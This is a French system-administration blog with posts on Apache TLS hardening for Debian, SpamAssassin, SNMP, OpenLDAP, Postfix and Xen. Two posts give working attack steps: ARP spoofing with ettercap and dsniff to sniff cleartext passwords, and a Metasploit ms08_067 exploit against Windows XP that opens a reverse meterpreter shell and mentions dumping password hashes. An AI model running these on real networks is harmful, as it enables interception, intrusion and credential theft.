Configurer le chiffrement TLS d’Apache sous Debian

Avec les récentes failles (POODLE, FREAK..) et les recommandations de l’ANSSI, il est important de n’autoriser, dans la mesure du possible, uniquement que TLSv1.1 et TLSv1.2.

Voici un document très intéressant présentant un état des lieux des récommandations : http://www.ssi.gouv.fr/uploads/IMG/pdf/SSL_TLS_etat_des_lieux_et_recommandations.pdf

Comment configurer (au mieux?) Apache pour Debian Squeeze LTS, Debian Wheezy et Debian Jessie?

L’installation d’Apache est la même pour toutes ces distributions.. elle se fait classiquement par les packages de la distribution :

apt-get install apache2
a2enmod ssl
a2enmod headers
a2ensite default-ssl
service apache2 restart

Les configurations TLS des vhosts (typiquement dans le fichier /etc/apache2/site-available/default-ssl si on reste dans la configuration de base avec un seul vhost) sont basées sur cet outil : https://mozilla.github.io/server-side-tls/ssl-config-generator/

En fait, pour Squeeze LTS (apache 2.2.16), on ne pourra malheureusement proposer ni TLSv1.2 ni TLSv1.1!!! on devra se contenter uniquement TLSv1.. Le mieux est de migrer rapidement vers Jessie pour avoir Apache 2.4 (à moins de compiler à partir des sources ou d’utiliser les backports). Sur une Wheezy (apache 2.2.22), on peut imposer TLSv1.1 et ou TLSv1.2!

Avant de changer la configuration d’un frontal, vérifiez que toutes les applications sont « compatibles ». Si vous avez un serveur CAS.. saura t’il faire du TLSv1.1 ou TLSv1.2?

Squeeze LTS

apache2 (2.2.16-6+squeeze14)
libssl0.9.8 (0.9.8o-4squeeze21)
openssl (0.9.8o-4squeeze21)

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate
    SSLCertificateChainFile /path/to/intermediate_certificate
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv2 -SSLv3
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on



    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

Wheezy

apache2 (2.2.22-13+deb7u4)
libssl1.0.0 (1.0.1e-2+deb7u17) [security]
openssl (1.0.1e-2+deb7u17) [security]

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate
    SSLCertificateChainFile /path/to/intermediate_certificate
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv2 -SSLv3 -TLSv1
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on



    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

Attention ici (contrairement aux possibilités indiquées par l’outils) on a pu rajouter -TLSv1 pour retirer l’utilisation de TLSv1!!

Jessie

apache2 (2.4.10-10)
libssl1.0.0 (1.0.1k-3+deb8u1) [security]
openssl (1.0.1k-3+deb8u1) [security]

Configuration dite « modern » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate_followed_by_intermediate_certs
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # modern configuration, tweak to your needs
    SSLProtocol             all -SSLv3 -TLSv1
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK
    SSLHonorCipherOrder     on
    SSLCompression          off

    # OCSP Stapling, only in httpd 2.3.3 and later
    SSLUseStapling          on
    SSLStaplingResponderTimeout 5
    SSLStaplingReturnResponderErrors off

    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

SSLStaplingCache        shmcb:/var/run/ocsp(128000)

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate_followed_by_intermediate_certs
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv3
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on
    SSLCompression          off

    # OCSP Stapling, only in httpd 2.3.3 and later
    SSLUseStapling          on
    SSLStaplingResponderTimeout 5
    SSLStaplingReturnResponderErrors off    

# HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

SSLStaplingCache        shmcb:/var/run/ocsp(128000)

On peut tester les protocoles et algorithmes de chiffrements avec nmap!

Pour une installation d’Apache 2 sur Jessie ça donne ça :

nmap --script ssl-enum-ciphers -p 443 jessie
Nmap scan report for jessie (192.168.0.33)
Host is up (0.00028s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| SSLv3: No supported ciphers found
| TLSv1.0:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.1:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.2:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
|_ least strength: strong
MAC Address: 08:00:27:9C:95:DE (Cadmus Computer Systems)

Si on utilise la configuration (modern) ci-dessus :

nmap --script ssl-enum-ciphers -p 443 jessie
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-29 19:10 CEST
Nmap scan report for jessie (192.168.0.33)
Host is up (0.00028s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| TLSv1.1:
| ciphers:
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.2:
| ciphers:
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| compressors:
| NULL
|_ least strength: strong
MAC Address: 08:00:27:9C:95:DE (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds

Qu’est-ce qu’une suite cryptographique?

Faire de l’ARP spoofing ou ARP poisoning

Il est très simple, sur le même segment réseau, de se faire passer pour la passerelle…

On active l’IP forwarding :

$ sudo sysctl -w net.ipv4.ip_forward=1

On lance ettercap :

$ sudo ettercap -T -M arp /@IP_PASSERELLE/ /@IP_VICTIME/

Enfin on écoute le réseau avec un outil qui nous affichera les mots de passe transitant en clair pour notamment les protocoles FTP, TELNET, SMTP et HTTP!

$ sudo dsniff -mc -n

Avec ettercap (notamment en mode graphique) on peut réaliser des MITM plus sophistiqués! Aussi, on peut uiliser tout un tas d’autres outils sympa : mailsnarf, filesnarf, urlsnarf

Dans un contexte de MITM on peut utiliser dnsspoof! il sera alors possible d’intercepter les requètes dns… et de renvoyer un résultat en fonction de notre propre un fichier host (option -f)

Attaquer un Windows XP avec Metasploit…

Lancement de metasploit :

$ sudo msfconsole

Utilisation de l’exploit « ms08_067_netapi » :

msf > use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) >

On affiche les options :

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

On indique l’IP de la machine cible dans l’attribut « RHOST » :

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4
RHOST => 192.168.1.4

Chargement du payload « reverse_tcp » (pour obtenir le meterpreter) :

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

On ré-affiche les options (on y voit les nouvelles otpions liées au payload) :

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.4      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

On précise les options manquantes (ici l’IP et port de la machine locale) :

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(ms08_067_netapi) > set LPORT 6666
LPORT => 6666

Lancement de l’exploit pour avoir le meterpreter :

msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 192.168.1.33:6666 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.4
[*] Meterpreter session 2 opened (192.168.1.33:6666 -> 192.168.1.4:1044) at 2013-05-03 03:27:25 -0700

meterpreter >

Et voilà.. après on peut obtenir l’invite de commande MS Windows (commande « shell »), faire une capture d’écran, faire du déport d’affichage (vnc), récupérer les hashs des mots passes présents en mémoire…

[Debian Wheezy] Spamassassin prend son temps! avec un DNSBL qui ne répond plus…

Après une installation classique d’un serveur SMTP (sur une Wheezy avec les paquets actuels) avec (donc) Postfix 2.9.6-2, Amavis-new 1:2.7.1-2, Clamav 0.97.8+dfsg-1 et Spamassassin 3.3.2 (+pyzor/razo2/DCC), je me rends compte que les messages mettent plus de 4 secondes avant d’être délivrés (de façon asynchrone tout de même)..

En mode Debug on peut voir les pourcentages du temps passé pour les traitements antispam et antivirus :

Feb 13 15:29:28 mailhost postfix/smtp[4184]: 2CA41A075B:
to=<arnaud.lenorcy@mydomain.com>, relay=127.0.0.1[127.0.0.1]:10024,
delay=4.6, delays=0.31/0.01/0.01/4.3, dsn=2.0.0, status=sent (250 2.0.0 from
MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as 88F7AA0A72)
Feb 13 15:29:28 mailhost amavis[4167]: (04167-01) size: 1244, TIMING [total 4270
ms] - SMTP greeting: 11 (0%)0, SMTP EHLO: 2 (0%)0, SMTP pre-MAIL: 2 (0%)0,
mkdir tempdir: 2 (0%)0, create email.txt: 0 (0%)0, SMTP pre-DATA-flush: 5
(0%)0, SMTP DATA: 33 (1%)1, check_init: 1 (0%)1, digest_hdr: 1 (0%)1,
digest_body: 1 (0%)1, mkdir parts: 4 (0%)1, mime_decode: 12 (0%)2,
get-file-type1: 17 (0%)2, parts_decode: 0 (0%)2, check_header: 1 (0%)2,
AV-scan-1: 11 (0%)2, spam-wb-list: 2 (0%)2, SA parse: 7 (0%)3, SA check:
4010 (94%)97, decide_mail_destiny: 13 (0%)97, notif-quar: 1 (0%)97,
fwd-connect: 19 (0%)97, fwd-mail-pip: 34 (1%)98, fwd-rcpt-pip: 1 (0%)98,
fwd-data-chkpnt: 0 (0%)98, write-header: 1 (0%)98, fwd-data-contents: 0
(0%)98, fwd-end-chkpnt: 43 (1%)99, prepare-dsn: 1 (0%)99, main_log_entry: 29
(1%)100, update_snmp: 3 (0%)100, SMTP pre-response: 1 (0%)100, SMTP
response: 1 (0%)100, unlink-1-files: 0 (0%)100, rundown: 1 (0%)100

Ce qui prend du temps c’est le SA check !

En lançant amavis en mode debug :

amavisd-new debug

.. on se rend compte qu’il s’agit d’une tentative d’accès à un DNSBL qui n’aboutit pas! Il s’agit de dnsbl.njabl.org qui est OFFLINE depuis Mars 2013. Au bout d’environ 4 secondes un timeout arrêtait tout de même la recherche..

Le fichier /usr/share/spamassassin/20_dnsbl_tests.cf contient les références à ce DNSBL :

# See the Mail::SpamAssassin::Conf manual page for details of how to use
# check_rbl().

# ---------------------------------------------------------------------------
# Multizone / Multi meaning BLs first.
#
# Note that currently TXT queries cannot be used for these, since the
# DNSBLs do not return the A type (127.0.0.x) as part of the TXT reply.
# Well, at least NJABL doesn't, it seems, as of Apr 7 2003.

# ---------------------------------------------------------------------------
# NJABL
# URL: http://www.dnsbl.njabl.org/

header __RCVD_IN_NJABL          eval:check_rbl('njabl', 'combined.njabl.org.')
describe __RCVD_IN_NJABL        Received via a relay in combined.njabl.org
tflags __RCVD_IN_NJABL          net
reuse  __RCVD_IN_NJABL

header RCVD_IN_NJABL_RELAY      eval:check_rbl_sub('njabl', '127.0.0.2')
describe RCVD_IN_NJABL_RELAY    NJABL: sender is confirmed open relay
tflags RCVD_IN_NJABL_RELAY      net
reuse  RCVD_IN_NJABL_RELAY

# NJABL DUL: obsoleted by PBL (bug 5187)

header RCVD_IN_NJABL_SPAM       eval:check_rbl_sub('njabl', '127.0.0.4')
describe RCVD_IN_NJABL_SPAM     NJABL: sender is confirmed spam source
tflags RCVD_IN_NJABL_SPAM       net
reuse  RCVD_IN_NJABL_SPAM

header RCVD_IN_NJABL_MULTI      eval:check_rbl_sub('njabl', '127.0.0.5')
describe RCVD_IN_NJABL_MULTI    NJABL: sent through multi-stage open relay
tflags RCVD_IN_NJABL_MULTI      net
reuse  RCVD_IN_NJABL_MULTI

header RCVD_IN_NJABL_CGI        eval:check_rbl_sub('njabl', '127.0.0.8')
describe RCVD_IN_NJABL_CGI      NJABL: sender is an open formmail
tflags RCVD_IN_NJABL_CGI        net
reuse  RCVD_IN_NJABL_CGI

header RCVD_IN_NJABL_PROXY      eval:check_rbl_sub('njabl', '127.0.0.9')
describe RCVD_IN_NJABL_PROXY    NJABL: sender is an open proxy
tflags RCVD_IN_NJABL_PROXY      net
reuse  RCVD_IN_NJABL_PROXY

Pour éviter ce DNSBL j’ai rajouté de ces quelques lignes dans /etc/spamassassin/local.cf :

score   __RCVD_IN_NJABL 0
score   RCVD_IN_NJABL_RELAY 0
score   RCVD_IN_NJABL_SPAM 0
score   RCVD_IN_NJABL_MULTI 0
score   RCVD_IN_NJABL_CGI 0
score   RCVD_IN_NJABL_PROXY 0

voilà il n’y a plus cette latence de 4 secondes par message!

Le lien suivant décrit comment mieux paramétrer ces DNSBL :
http://wiki.apache.org/spamassassin/DnsBlocklists

Pour éviter tous les DNSBL, on pourrait mettre ça dans /etc/spamassassin/local.cf :

skip_rbl_checks  1

Avec une version >= 3.4 de Spamassassin, pour éviter simplement le DNSBL njabl.org, on pourrait mettre ceci dans /etc/spamassassin/local.cf :

dns_query_restriction deny njabl.org

A priori, pour qu’il y ait encore moins de latence, il vaudrait mieux avoir un cache dns en local sur le serveur SMTP :
http://wiki.apache.org/spamassassin/CachingNameserver

Pour ça, sur la Debian Wheezy, il suffit simplement d’installer BIND9 :

apt-get update
apt-get install bind9

.. et la configuration par défaut suffit!

[Debian Wheezy] Surveille ta mailq!

Voici comment superviser simplement la mailq de votre serveur SMTP (Postix par exemple).

Installer le serveur snmp :

apt-get install snmpd

Rajouter dans /etc/snmp/snmpd.conf (w.x.y.z est l’IP du serveur de supervision) les 2 lignes suivantes :

rocommunity public w.x.y.z
extend mailqstats /etc/snmp/mailqstats.sh

Vous pouvez changer le community « public » pour un tout autre nom…

Créer le fichier /etc/snmp/mailqstats.sh affichant le nombre de courriel de la mailq :

#!/bin/bash
mailq | tail -n 1 | awk '{if (NF > 4) {print $5} else {print 0}}'

Permettre l’exécution du fichier :

chmod +x /etc/snmp/mailqstats.sh

Dans /etc/hosts.allow, rajouter une autorisation d’accès pour votre serveur de supervision :

snmpd: w.x.y.z

Depuis votre serveur de supervision, lancer un snmpget :

snmpget -v2c -c public gretchen 1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.97.105.108.113.115.116.97.116.115.1
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.97.105.108.113.115.116.97.116.115.1 = STRING: "104"

On a 104 mail dans la mailq!

Utiliser centreon pour superviser et grapher automatiquement cette mailq avec le service générique check_centreon_snmp_value!

Openldap sur debian squeeze : autoremove des logs bdb

Sachant que les bases sont situées dans /var/lib/ldap, rajoutez dans /var/lib/ldap/DB_CONFIG de :

set_flags DB_LOG_AUTOREMOVE

D’ailleurs voici un exemple de contenu pour ce fichier :

/var/lib/ldap# cat DB_CONFIG 
set_cachesize 0 2097152 0
set_lk_max_objects 1500
set_lk_max_locks 1500
set_lk_max_lockers 1500
set_flags DB_LOG_AUTOREMOVE

Installation d’outils de gestion des bases bdb :

# aptitude install db4.8-util
Les NOUVEAUX paquets suivants vont être installés : 
  db4.8-util 
0 paquets mis à jour, 1 nouvellement installés, 0 à enlever et 0 non mis à jour.
Il est nécessaire de télécharger 134 ko d'archives. Après dépaquetage, 446 ko seront utilisés.
Prendre : 1 http://ftp.lip6.fr/pub/linux/distributions/debian/ squeeze/main db4.8-util amd64 4.8.30-2 [134 kB]
 134 ko téléchargés en 0s (2 034 ko/s)
Sélection du paquet db4.8-util précédemment désélectionné.
(Lecture de la base de données... 23452 fichiers et répertoires déjà installés.)
Dépaquetage de db4.8-util (à partir de .../db4.8-util_4.8.30-2_amd64.deb) ...
Traitement des actions différées (« triggers ») pour « man-db »...
Paramétrage de db4.8-util (4.8.30-2) ...

Pour voir les logs inutiles :

# cd /var/lib/ldap
/var/lib/ldap# db4.8_archive
log.0000000001
log.0000000002
log.0000000003
log.0000000004
log.0000000005
log.0000000006
log.0000000007

Pour supprimer les archives inutiles :

# db4.8_archive -d

Il est donc possible de planifier cette tâche! Si on ne souhaite pas positionner le flag DB_LOG_AUTOREMOVE

Commandes issues du paquet db4.8-util :

db4.8_archive
db4.8_deadlock
db4.8_hotbackup
db4.8_printlog
db4.8_sql
db4.8_upgrade     
db4.8_checkpoint
db4.8_dump
db4.8_load
db4.8_recover
db4.8_stat
db4.8_verify

Purger la mailq de Postfix

Pour vider TOUTE la mailq :

postsuper -d ALL

Pour vider la mailq des messages d’un expéditeur particulier :

1. Récupérer les id_queue des messages de l’expéditeur exemple@adresse.email dans un fichier temporaire (avirer.txt) :

mailq | grep exemple@adresse.email | tr -s "    " " " | cut -d" " -f1 > avirer.txt

2. Lancer ensuite un petit script bash pour effacer tous les messages de cet expéditeur :

for line in $(cat avirer.txt);
do
postsuper -d $line
done

rsync et baie NAS Synology

Sur le NAS (Synology DS210j), le service sauvegarde réseau est activé (Menu principal > Sauvegarder et restaurer > Sauvegarde réseau).

Synchronisation de ma partition NTFS vers le NAS :

time rsync --del -v -a --timeout=600 /media/partage/ root@192.168.0.9::NetBackup

Hyperviseur Xen sur debian Squeeze amd64

Nous allons installer Xen sur un serveur Dell PowerEdge R410 avec Debian Squeeze amd64!

Voici la machine (DELL PowerEdge R410) :

  • Processeur Xeon Quad Core E5620
  • carte PERC H200 avec 2 disques SAS en RAID1
  • 4 Go de mémoire vive

–> On fait l’installation de la debian squeeze avec le CD1 (bien suffisant pour l’installation de base) téléchargeable ici : http://cdimage.debian.org/cdimage/weekly-builds/amd64/iso-cd/ (c’est la weekly builds) – Je prends cette version car qu’elle prend désormais en charge ma carte PERC H200

–> On récupère le paquet firmware-bnx2_0.27_all.deb qui est le firmware de la carte réseau « Broadcom Corporation NetXtreme II ». On décompresse le paquet avec ar (ou bien avec n’importe quel logiciel de décompression..par exemple 7zip sous windows le fait aussi) pour ne garder sur un support amovible que : bnx2bnx2-mips-09-5.0.0.j3.fw

Voici le partitionnement choisi (en 4 partitions primaires) :

  • 100Mo /boot en ext4
  • 20Go en LVM (pour le système – en ext4)
  • 1Go de swap
  • le reste en LVM

–> On installe Xen :

root@kiki:/etc/xen# aptitude  install linux-image-2.6-xen-amd64 xen-tools xen-utils

Dans /etc/default/grub, j’ai ça (pas de modification) :

GRUB_DEFAULT=0
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_TIMEOUT=10
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX=""

Je modifie /etc/grub.d/40_cutom pour avoir ça :

#!/bin/sh
exec tail -n +3 $0
# This file provides an easy way to add custom menu entries.  Simply type the
# menu entries you want to add after this comment.  Be careful not to change
# the 'exec tail' line above.
menuentry "Xen 4 / Debian Squeeze kernel 2.6.32-5 pvops" {
insmod ext4
set root='(hd0,msdos1)'
multiboot (hd0,msdos1)/xen-4.0-amd64.gz
module (hd0,msdos1)/vmlinuz-2.6.32-5-xen-amd64
module (hd0,msdos1)/initrd.img-2.6.32-5-xen-amd64
}

On met a jour grub :

root@kiki:/etc/xen# update-grub

Mince, après reboot j’ai toujours ça :

root@kiki:/etc/xen# xm info
WARNING!  Can't find hypervisor information in sysfs!
Error: Unable to connect to xend: No such file or directory. Is xend running?

Je tente un truc trouvé ici http://xen-orchestra.com/2010/08/xen-4-on-squeeze-how-to/ :

root@kiki:/etc/xen# mv /etc/grub.d/10_linux /etc/grub.d/50_linux
root@kiki:/etc/xen# update-grub2

après reboot, c’est ok……

root@kiki:/etc/xen# xm info
host                   : kiki
release                : 2.6.32-5-xen-amd64
version                : #1 SMP Wed Oct 20 02:22:18 UTC 2010
machine                : x86_64
nr_cpus                : 8
nr_nodes               : 1
cores_per_socket       : 4
threads_per_core       : 2
cpu_mhz                : 2394
hw_caps                : bfebfbff:2c100800:00000000:00001f40:029ee3ff:00000000:00000001:00000000
